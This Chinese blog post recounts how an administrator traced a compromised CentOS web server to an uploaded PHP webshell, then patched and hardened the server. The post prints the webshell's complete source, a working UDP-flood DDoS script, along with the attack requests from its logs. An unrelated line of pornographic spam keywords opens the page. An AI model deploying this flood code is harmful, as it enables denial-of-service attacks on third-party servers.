欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

記一次Centos服務(wù)器被掛馬的抓馬經(jīng)歷

 更新時間:2017年01月20日 16:14:59   作者:qq_21439971  
這篇文章主要介紹了記一次Centos服務(wù)器被掛馬的抓馬經(jīng)歷分享,非常不錯,具有參考借鑒價值,需要的朋友參考下

今天早上五點,收到監(jiān)控寶的警告短信,說是網(wǎng)站M無法訪問了。睡的正香,再說網(wǎng)站所在系統(tǒng)是centos,重要數(shù)據(jù)每天都備份,應(yīng)該很安全,也沒有在意。倒頭接著睡覺去了。

早上九點,機房負(fù)責(zé)人直接給我打來電話,說是全機房網(wǎng)絡(luò)巨慢,單位的所有網(wǎng)站都打不開或打開的很慢。Centos服務(wù)器被掛馬的一次抓馬經(jīng)歷。

我趕緊趕了過去,查看了一下那里網(wǎng)絡(luò),發(fā)現(xiàn)175服務(wù)總是以50M/S速度向外發(fā)包,而175服務(wù)器正是網(wǎng)站M所在的服務(wù)器。

果斷SSH連接175服務(wù)器,發(fā)現(xiàn)175服務(wù)器連接也很慢,連上之后top一下,查看cpu負(fù)載:

top

發(fā)現(xiàn)有兩個apache進(jìn)程占用cpu一直在40%以上,馬上停止httpd 服務(wù)

service httpd stop

停止httpd服務(wù)之后,再看網(wǎng)絡(luò)狀態(tài),175服務(wù)器也不向外發(fā)包了,一切正常。

由此判斷應(yīng)該是175服務(wù)器掛了馬,瘋狂向外發(fā)包,擠占了全部機房帶寬。

下一步就是抓馬了!

175服務(wù)器是有硬件防火墻,只開http80跟ssh22端口,ssh不太可能被盜號,應(yīng)該是通過web漏洞掛馬。早上5點才中招的,木馬程序文件應(yīng)該在1天之內(nèi)。

切到M站點根目錄之下,查找最近一天內(nèi)變動的文件,執(zhí)行

find ./ -mtime -1

果然,一個名為phzLtoxn.php的可疑文件出現(xiàn)在目錄列表中。查看一下木馬程序的創(chuàng)建者,執(zhí)行

ls -l phzLtoxn.php

這里發(fā)現(xiàn)文件就沒了,難道這文件還會自我銷毀?Centos服務(wù)器被掛馬的一次抓馬經(jīng)歷

原來發(fā)生了一個小插曲,隔壁的管理員小黃也注意到這個文件,二話不說就刪除了。我過去劈頭批評教育了小黃一頓。見了木馬程序就知道刪刪刪刪!難道木馬程序不會再生成?。磕愕庙樚倜?,不是一刀切。你得找到漏洞源頭!刪了沒辦法,再把httpd服務(wù)開啟了,引狼入室,等等看能否再生成。

果然,半小時不到,新的phzLtoxn.PHP文件又生成了。查看了一下,文件創(chuàng)建者是apache,由此判斷這肯定是通過網(wǎng)站漏洞上傳的。

分析一下木馬文件,看下黑客意圖

這里貼出phzLtoxn.php文件源代碼,并作了簡單注釋,僅作學(xué)習(xí)之用。

<?php
//設(shè)置腳本運行時間
set_time_limit(999999);
//攻擊目標(biāo)服務(wù)器ip
$host = $_GET['host'];
//攻擊目標(biāo)服務(wù)器端口
$port = $_GET['port'];
//攻擊時長
$exec_time = $_GET['time'];
//每次發(fā)送字節(jié)數(shù)
$Sendlen = 65535;
$packets = 0;
//設(shè)置客戶機斷開不終止腳本的執(zhí)行
ignore_user_abort(TRUE);
//step1. 目標(biāo)服務(wù)器$host、端口$port、運行時長$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {  
 if (StrLen($_GET['rat']) <> 0) {    
 echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_software'] . $_GET['rat'];    
 exit;  
 }  
 echo "Warning to: opening";  
 exit;
}
//step2. 設(shè)定發(fā)字符串$out,這里是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {  
 $out .= "A";
}
$max_time = time() + $exec_time;
//step3. 進(jìn)行攻擊,使用udp向目標(biāo)服務(wù)器狠狠發(fā)串串
while (1) {  
 $packets++;  
 if (time() > $max_time) {    
 break;  
 }  
 $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);  
 if ($fp) {    
 fwrite($fp, $out);    
 fclose($fp);  
 }
}
//step4. 攻擊統(tǒng)計
echo "Send Host $host:$port<br><br>";
echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";
echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";
?>

從以上代碼可以看出,是個典型的ddos攻擊代碼。黑客應(yīng)該是把我們服務(wù)器當(dāng)傀儡使用,組織大量傀儡服務(wù)器瘋狂向目標(biāo)服務(wù)器發(fā)包。黑客只需要打開瀏覽器,敲入http://M站域名.com//phzLtoxn.php?host=x.x.x.x&port=xx&time=xx就可以對目標(biāo)服務(wù)器進(jìn)行ddos攻擊了。

查看httpd日志,分析下攻擊ip源,執(zhí)行

tail /var/log/httpd/access.log | grep phzLtonxn.php
183.12.75.240 - - [10/Aug/2012:10:38:46 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:38:56 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:38:58 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:39:08 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:39:12 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:28 +0800] "GET /phzLtoxn.php?host=61.164.148.49&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"

發(fā)現(xiàn)源ip來自多個,目標(biāo)服務(wù)器ip也有多個,都屬于很多國家,有點奇怪啊,為什么黑客有針對性的攻擊呢,無聊的黑客啊。
下一步,找漏洞!

1、重新審視了M站目錄下文件權(quán)限。僅對幾個必要的緩存、靜態(tài)化的目錄為apache開啟了寫權(quán)限,防止phzLtoxn.php文件再次生成。

2、重新開啟httpd服務(wù),使用360網(wǎng)站檢測 http://webscan.#/ 對H站進(jìn)行漏洞檢測,發(fā)現(xiàn)H站中有嚴(yán)重的遠(yuǎn)程執(zhí)行漏洞,于是趕緊打了補丁。

3、補丁打好之后,順便修改了系統(tǒng)用戶、數(shù)據(jù)庫用戶、ftp用戶的密碼、M站系統(tǒng)用戶密碼。

觀察幾日之后,一切正常。

小結(jié)一下幾個安全原則

1、權(quán)限最小化。

web目錄一定做好權(quán)限,僅僅對apache開幾個必要文件夾的寫權(quán)限。

2、時刻注意補丁更新。

經(jīng)常使用第三方的網(wǎng)站安全檢測工具,如http://webscan.#,也可參考十大安全評估工具,如果網(wǎng)站系統(tǒng)使用了第三方常用程序,多注意一下烏云漏洞平臺的信息http://www.wooyun.org/。
3、中招后一定要補牢。

別光刪刪刪刪,要查找中招源頭,分析黑客目的。

這是還是請大牛小牛們分析一下,為什么這幫黑客用那么多的肉雞來ddos攻擊不同的服務(wù)器,而這些被ddos攻擊的服務(wù)器之間卻沒有什么聯(lián)系。為什么攻擊沒有針對性?難道是為了耗帶寬玩?!

相關(guān)文章

  • 分享服務(wù)器被入侵的處理過程

    分享服務(wù)器被入侵的處理過程

    這篇文章主要介紹了一次服務(wù)器被入侵的處理過程分享,下文中的給文件和目錄加鎖,是指給文件和目錄增加了一些屬性,只讀等,需要的朋友可以參考下
    2022-09-09
  • 修改wamp的apache默認(rèn)端口80為8088以及www目錄

    修改wamp的apache默認(rèn)端口80為8088以及www目錄

    這篇文章主要介紹了修改wamp的apache默認(rèn)端口80為8088以及www目錄為workphp,需要的朋友可以參考下
    2014-03-03
  • 深入理解linux下查看進(jìn)程內(nèi)存的使用情況

    深入理解linux下查看進(jìn)程內(nèi)存的使用情況

    本篇文章是對linux下查看進(jìn)程內(nèi)存的使用情況進(jìn)行了詳細(xì)的分析介紹,需要的朋友參考下
    2013-05-05
  • Apache自帶的ab壓力測試工具的實現(xiàn)

    Apache自帶的ab壓力測試工具的實現(xiàn)

    本文主要介紹了Apache自帶的ab壓力測試工具的實現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2022-07-07
  • Ubuntu刪除多余內(nèi)核的方法

    Ubuntu刪除多余內(nèi)核的方法

    這篇文章主要介紹了Ubuntu刪除多余內(nèi)核的方法,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2018-12-12
  • Ubuntu 18.04 安裝MySQL時未提示輸入密碼的問題及解決方法

    Ubuntu 18.04 安裝MySQL時未提示輸入密碼的問題及解決方法

    這篇文章主要介紹了Ubuntu 18.04 安裝MySQL時未提示輸入密碼的問題及解決方法,非常不錯,具有一定的參考借鑒價值,需要的朋友可以參考下
    2019-10-10
  • ubuntu系統(tǒng)修改時區(qū)和時間的方法

    ubuntu系統(tǒng)修改時區(qū)和時間的方法

    今天小編就為大家分享一篇關(guān)于ubuntu系統(tǒng)修改時區(qū)和時間的方法,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧
    2019-03-03
  • linux下如何創(chuàng)建守護(hù)進(jìn)程的步驟

    linux下如何創(chuàng)建守護(hù)進(jìn)程的步驟

    本篇文章主要介紹了linux下如何創(chuàng)建守護(hù)進(jìn)程的步驟,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-07-07
  • 淺談Linux下修改/設(shè)置環(huán)境變量JAVA_HOME的方法

    淺談Linux下修改/設(shè)置環(huán)境變量JAVA_HOME的方法

    這篇文章主要介紹了淺談Linux下修改/設(shè)置環(huán)境變量JAVA_HOME的方法,環(huán)境變量一般是指在操作系統(tǒng)中用來指定操作系統(tǒng)運行環(huán)境的一些參數(shù)。環(huán)境變量是在操作系統(tǒng)中一個具有特定名字的對象,它包含了一個或者多個應(yīng)用程序所將使用到的信息。感興趣的可以了解一下
    2020-07-07
  • Linux YUM倉庫及NFS共享服務(wù)方式

    Linux YUM倉庫及NFS共享服務(wù)方式

    YUM(Yellowdog Updater Modified)是基于RPM包的軟件包管理器,專門用于解決軟件包的依賴關(guān)系,支持通過FTP、HTTP服務(wù)或本地目錄從集中的YUM軟件倉庫獲取軟件包,YUM能夠自動處理包依賴問題,簡化了軟件安裝和更新過程
    2024-09-09

最新評論